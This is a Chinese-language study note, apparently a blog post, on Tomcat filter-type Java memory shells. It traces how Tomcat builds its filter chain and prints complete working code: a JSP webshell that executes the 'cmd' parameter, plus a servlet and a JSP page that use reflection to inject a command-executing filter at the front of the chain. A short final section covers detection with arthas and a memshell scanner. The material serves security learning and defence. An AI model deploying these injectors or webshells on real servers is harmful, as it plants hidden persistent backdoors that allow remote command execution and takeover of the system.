学一下有关filter servlet的内容(最近真是什么都想学)
这部分基础知识还挺多的,单纯copy别人的到自己的笔记也没啥效果,目前打算直接从应用入手,分析的过程中遇到不懂的再补充。
先简单说一下基础认知 JavaWeb有三大件,servlet,listener和filter
Servlet:运行在web服务器和应用服务器上的程序,数据库和应用程序之间的中间层
filter:过滤器,servlet的强补充,在httpservlet request到servlet前,拦截客户端的请求,根据需要检查request,这个过程也可以修改request的数据;在resonse到达客户端之前,可以拦截response,检查内容,也有修改数据的权限
Listener:可以使用监听器监听客户端的请求、服务端的操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。
Filter型内存马介绍

结合上图还有Filter的内容,我们可以自定义过滤器,在用户请求到服务端前做一些拦截修改。请求经过filter才会到servlet,而且可以有多个filter,那么如果我们搞一个恶意的filter放在所有filter前面,先执行恶意代码,这样就形成了一个webshell。
搞清楚目标:动态注册恶意filter,把它放在filterchain最前面
Tomcat Filter流程分析
现在先自定义一个filter
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 
 | package Filter;
 import javax.servlet.*;
 import java.io.IOException;
 
 public class filter implements Filter{
 @Override
 public void init(FilterConfig filterConfig) throws ServletException {
 System.out.println("Filter 初始构造完成");
 }
 
 @Override
 public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
 System.out.println("执行了过滤操作");
 filterChain.doFilter(servletRequest,servletResponse);
 }
 
 @Override
 public void destroy() {
 
 }
 }
 
 | 
在webxml文件里面做好配置
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | <?xml version="1.0" encoding="UTF-8"?>  <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
 version="4.0">
 <filter> <filter-name>filter</filter-name>
 <filter-class>filter</filter-class>
 </filter>
 <filter-mapping> <filter-name>filter</filter-name>
 <url-pattern>/filter</url-pattern>
 </filter-mapping></web-app>
 
 | 
然后启动,可以看到已经被加载

访问/filter之后的流程
在这里打个断点,然后启动调试

访问/filter路由,程序会到**filterChain.doFilter()**,跟进
直接进到ApplicationFilterChain.doFilter()里面,再走一步,就到了internalDoFilter()

再往前到internalDoFilter(),会看到有一个给filterConfig赋值
| 1
 | ApplicationFilterConfig filterConfig = this.filters[this.pos++];
 | 
这个时候有两个filter,一个是tomcat自带的,一个是我们定义的

再继续往前走,会到tomcat到dofilter里面,直到最后会到this.servlet.service(request, response);

其实就是我们的filter其实是一个链子,上一个filter会通过 FilterChain.doFilter() 方法将调用下一个 Filter.doFilter() 方法,就这样一直调,直到最后一个filter里面调用servlet.service(),那假设有一个filter里面没有dofilter,下一个filter就不会被触发,也没办法走到最后的service里面
FilterChain就是这样一个一个调用dofilter,直到最后一个到servlet.service()
访问/filter之前的流程
继续之前的调试

可以看到这里有调用栈,我们选择回到最远的invoke那里,也就是StandardWrapperValve.invoke(),前面的调用栈可以看到出现了好多个invoke,可以用下图了解到调用顺序

现在到StandardWrapperValve.invoke()里面看是怎么走到doFilter()的

跟进看到后面有一个ApplicationFilterFactory.createFilterChain()方法,这个名字就叫创建过滤链,跟进

这里会判断filterMap是否为空,若为空则会调用context.findFilterMaps()从StandardContext寻找并且返回一个FilterMap数组。
再看到后面

遍历StandardContext.filterMaps得到filter与URL的映射关系并通过matchDispatcher()、matchFilterURL()方法进行匹配,匹配成功后,还需判断StandardContext.filterConfigs中,是否存在对应filter的实例,当实例不为空时通过addFilter方法,将管理filter实例的filterConfig添加入filterChain对象中。
进入doFilter前重点处理了这些,后面就到了访问/filter后的流程
小结一下
一开始有很多个invoke(),管道层层调用,到了最后一个invoke会创建filterChain,然后会做一些匹配。后面今日doFIlter,也是一个接一个层层调用,直到最后一个到了servlet.service(),
攻击思路

我们构造恶意filter的filterConfig和filterMaps,就可以达到触发目的,都是从StandardContext里面来的
filterMaps也会对应webxml文件里面filter-mapping 标签
攻击
我们要用某种方式修改filterMaps,可以找到有两个方式,在StandardContex类里面
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 
 | @Overridepublic void addFilterMap(FilterMap filterMap) {
 validateFilterMap(filterMap);
 
 filterMaps.add(filterMap);
 fireContainerEvent("addFilterMap", filterMap);
 }
 
 @Override
 public void addFilterMapBefore(FilterMap filterMap) {
 validateFilterMap(filterMap);
 
 filterMaps.addBefore(filterMap);
 fireContainerEvent("addFilterMap", filterMap);
 }
 
 | 
StandardContext是一个容器类,里面存储web应用的对象和数据,也加载了webxml中多个servlet,filter对象以及他们的关系
关于filter有几个变量
filterConfigs 成员变量是一个HashMap对象,里面存储了filter名称与对应的ApplicationFilterConfig对象的键值对,在ApplicationFilterConfig对象中则存储了Filter实例以及该实例在web.xml中的注册信息。
filterDefs 成员变量成员变量是一个HashMap对象,存储了filter名称与相应FilterDef的对象的键值对,而FilterDef对象则存储了Filter包括名称、描述、类名、Filter实例在内等与filter自身相关的数据
filterMaps 中的FilterMap则记录了不同filter与UrlPattern的映射关系
可以看一下ApplicationFilterConfig里面存了什么东西

可以看到有fiterDef,filter等
filterDef对应webxml里面的标签
| 12
 3
 4
 
 | <filter>  <filter-name>filter</filter-name>
 <filter-class>filter</filter-class>
 </filter>
 
 | 
在StandardContext.filterStart()方法里可以知道filterConfig可以通过filterConfig.put(name,filterConfig)添加

前辈师傅给的构造思路非常清晰
1、获取当前应用的ServletContext对象
2、通过ServletContext对象再获取filterConfigs
2、接着实现自定义想要注入的filter对象
4、然后为自定义对象的filter创建一个FilterDef
5、最后把 ServletContext对象、filter对象、FilterDef全部都设置到filterConfigs即可完成内存马的实现
jsp的带回显内存马实现
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 
 | <% if(request.getParameter("cmd")!=null){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
 int a = -1;
 byte[] b = new byte[2048];
 out.print("<pre>");
 while((a=in.read(b))!=-1){
 out.print(new String(b));
 }
 out.print("</pre>");
 }
 
 %>
 
 | 
接下来把这个内存注入到filter里面
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 
 | package Filter;
 import javax.servlet.*;
 import javax.servlet.http.HttpServletRequest;
 import java.io.IOException;
 import java.io.InputStream;
 import java.util.Scanner;
 
 public class filter implements Filter{
 @Override
 public void init(FilterConfig filterConfig) throws ServletException {
 System.out.println("Filter 初始构造完成");
 }
 
 @Override
 public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
 System.out.println("执行了filter内存马操作");
 HttpServletRequest req = (HttpServletRequest) servletRequest;
 if (req.getParameter("cmd") != null){
 
 InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
 Scanner s = new Scanner(in).useDelimiter("\\A");
 String output = s.hasNext() ? s.next() : "";
 servletResponse.getWriter().write(output);
 
 return; }
 filterChain.doFilter(servletRequest,servletResponse);
 }
 
 @Override
 public void destroy() {
 
 }
 }
 
 | 

日志也有对应的输出

上面是有webxml配置的情况下,接下来就要考虑怎么动态注入filter,前辈师傅画的图也十分清晰

获取一些对象就用反射了
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 
 | ServletContext servletContext = request.getSession().getServletContext();
 Field appctx = servletContext.getClass().getDeclaredField("context");
 appctx.setAccessible(true);
 ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
 
 Field stdctx = applicationContext.getClass().getDeclaredField("context");
 stdctx.setAccessible(true);
 StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
 
 String FilterName = "cmd_Filter";
 Configs = standardContext.getClass().getDeclaredField("filterConfigs");
 Configs.setAccessible(true);
 filterConfigs = (Map) Configs.get(standardContext);
 
 | 
写上前面已经定义好的filter,再设置filterDef和filterMaps
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 
 | Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
 Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
 FilterDef o = (FilterDef)declaredConstructors.newInstance();
 o.setFilter(filter);
 o.setFilterName(FilterName);
 o.setFilterClass(filter.getClass().getName());
 standardContext.addFilterDef(o);
 
 
 Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
 Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
 org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance();
 
 o1.addURLPattern("/*");
 o1.setFilterName(FilterName);
 o1.setDispatcher(DispatcherType.REQUEST.name());
 standardContext.addFilterMapBefore(o1);
 
 | 
最后都添加到filterConfig里面,再放到webxml里面
| 12
 3
 4
 5
 6
 7
 
 | Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
 Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
 declaredConstructor1.setAccessible(true);
 ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
 filterConfigs.put(FilterName,filterConfig);
 response.getWriter().write("Success");
 
 | 
完整代码
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
 100
 101
 102
 103
 104
 105
 106
 107
 108
 109
 110
 111
 112
 113
 114
 115
 116
 117
 118
 119
 120
 121
 
 | package Filter;
 import org.apache.catalina.Context;
 import org.apache.catalina.core.ApplicationContext;
 import org.apache.catalina.core.ApplicationFilterConfig;
 import org.apache.catalina.core.StandardContext;
 import org.apache.tomcat.util.descriptor.web.FilterDef;
 import org.apache.tomcat.util.descriptor.web.FilterMap;
 
 import javax.servlet.*;
 import javax.servlet.annotation.WebServlet;
 import javax.servlet.http.HttpServlet;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import java.io.IOException;
 import java.io.InputStream;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 
 import java.util.Map;
 import java.util.Scanner;
 
 @WebServlet("/filterShell")
 public class FilterShell extends HttpServlet {
 protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
 
 
 
 
 
 
 Field Configs = null;
 Map filterConfigs;
 try {
 
 
 ServletContext servletContext = request.getSession().getServletContext();
 
 Field appctx = servletContext.getClass().getDeclaredField("context");
 appctx.setAccessible(true);
 ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
 
 Field stdctx = applicationContext.getClass().getDeclaredField("context");
 stdctx.setAccessible(true);
 StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
 
 String FilterName = "cmd_Filter";
 Configs = standardContext.getClass().getDeclaredField("filterConfigs");
 Configs.setAccessible(true);
 filterConfigs = (Map) Configs.get(standardContext);
 
 if (filterConfigs.get(FilterName) == null){
 Filter filter = new Filter() {
 
 @Override
 public void init(FilterConfig filterConfig) throws ServletException {
 
 }
 
 @Override
 public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
 System.out.println("执行了filter内存马操作");
 HttpServletRequest req = (HttpServletRequest) servletRequest;
 if (req.getParameter("cmd") != null){
 
 InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
 
 Scanner s = new Scanner(in).useDelimiter("\\A");
 String output = s.hasNext() ? s.next() : "";
 servletResponse.getWriter().write(output);
 
 return; }
 filterChain.doFilter(servletRequest,servletResponse);
 }
 
 @Override
 public void destroy() {
 
 }
 };
 
 
 Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
 Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
 FilterDef o = (FilterDef)declaredConstructors.newInstance();
 o.setFilter(filter);
 o.setFilterName(FilterName);
 o.setFilterClass(filter.getClass().getName());
 standardContext.addFilterDef(o);
 
 
 Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
 Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
 org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance();
 
 o1.addURLPattern("/*");
 o1.setFilterName(FilterName);
 o1.setDispatcher(DispatcherType.REQUEST.name());
 standardContext.addFilterMapBefore(o1);
 
 
 Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
 Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
 declaredConstructor1.setAccessible(true);
 ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
 filterConfigs.put(FilterName,filterConfig);
 response.getWriter().write("Success");
 
 
 }
 } catch (Exception e) {
 e.printStackTrace();
 }
 
 
 }
 
 protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
 this.doPost(request, response);
 }
 }
 
 | 
启动服务器,要先访问路由/filterShell才成功注册内存马,后面无论在什么场景就都会受恶意filter影响

对应的jsp代码也贴一下
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 
 | <%@ page contentType="text/html;charset=UTF-8" language="java" %><%@ page import="org.apache.catalina.core.ApplicationContext" %>
 <%@ page import="java.lang.reflect.Field" %>
 <%@ page import="org.apache.catalina.core.StandardContext" %>
 <%@ page import="java.util.Map" %>
 <%@ page import="java.io.IOException" %>
 <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
 <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
 <%@ page import="java.lang.reflect.Constructor" %>
 <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
 <%@ page import="org.apache.catalina.Context" %>
 <%@ page import="java.io.InputStream" %>
 <%@ page import="java.util.Scanner" %>
 
 <%
 final String name = "Flow";
 
 ServletContext servletContext = request.getSession().getServletContext();
 
 Field appctx = servletContext.getClass().getDeclaredField("context");
 appctx.setAccessible(true);
 ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
 
 Field stdctx = applicationContext.getClass().getDeclaredField("context");
 stdctx.setAccessible(true);
 StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
 
 Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
 Configs.setAccessible(true);
 Map filterConfigs = (Map) Configs.get(standardContext);
 
 if (filterConfigs.get(name) == null){
 Filter filter = new Filter() {
 @Override
 public void init(FilterConfig filterConfig) throws ServletException {
 
 }
 
 @Override
 public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
 HttpServletRequest req = (HttpServletRequest) servletRequest;
 if (req.getParameter("cmd") != null) {
 boolean isLinux = true;
 String osTyp = System.getProperty("os.name");
 if (osTyp != null && osTyp.toLowerCase().contains("win")) {
 isLinux = false;
 }
 String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
 InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
 Scanner s = new Scanner( in ).useDelimiter("\\a");
 String output = s.hasNext() ? s.next() : "";
 servletResponse.getWriter().write(output);
 servletResponse.getWriter().flush();
 return;
 }
 filterChain.doFilter(servletRequest, servletResponse);
 }
 
 @Override
 public void destroy() {
 
 }
 
 };
 
 FilterDef filterDef = new FilterDef();
 filterDef.setFilter(filter);
 filterDef.setFilterName(name);
 filterDef.setFilterClass(filter.getClass().getName());
 standardContext.addFilterDef(filterDef);
 
 FilterMap filterMap = new FilterMap();
 filterMap.addURLPattern("/bbb");
 filterMap.setFilterName(name);
 filterMap.setDispatcher(DispatcherType.REQUEST.name());
 
 standardContext.addFilterMapBefore(filterMap);
 
 Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
 constructor.setAccessible(true);
 ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
 
 filterConfigs.put(name, filterConfig);
 out.print("Inject Success !");
 }
 %>
 <html>
 <head>
 <title>filter</title>
 </head>
 <body>
 Hello Filter
 </body>
 </html>
 
 | 
Java内存马排查
arthas
用这个项目链接:https://github.com/alibaba/arthas
直接java  -jar arthas-boot.jar
选择这个1,进入一个类似bash的东西

输入sc *.Filter,模糊查询filter,然后就看到了恶意filter名字

输入 jad Filter.FilterShell$1就可以反编译看到代码详情

Java-memshell-scanner
https://github.com/c0ny1/java-memshell-scanner
还有这款工具可以自动扫描查杀内存马

点个kill就没了
思路是这里会遍历所有的filterMap,然后还提供了dumpclass功能

删除主要靠StandardContext.removeFilterDef()方法

参考
https://drun1baby.top/2022/08/22/Java%E5%86%85%E5%AD%98%E9%A9%AC%E7%B3%BB%E5%88%97-03-Tomcat-%E4%B9%8B-Filter-%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC
最后
算是踏入了内存马的门,大概原理心里还是有个数的,但是filter几个变量之间的概念关系还是不够清晰,后面遇到反序列化打内存马的时候会再理一遍,写的不够走心的一篇笔记。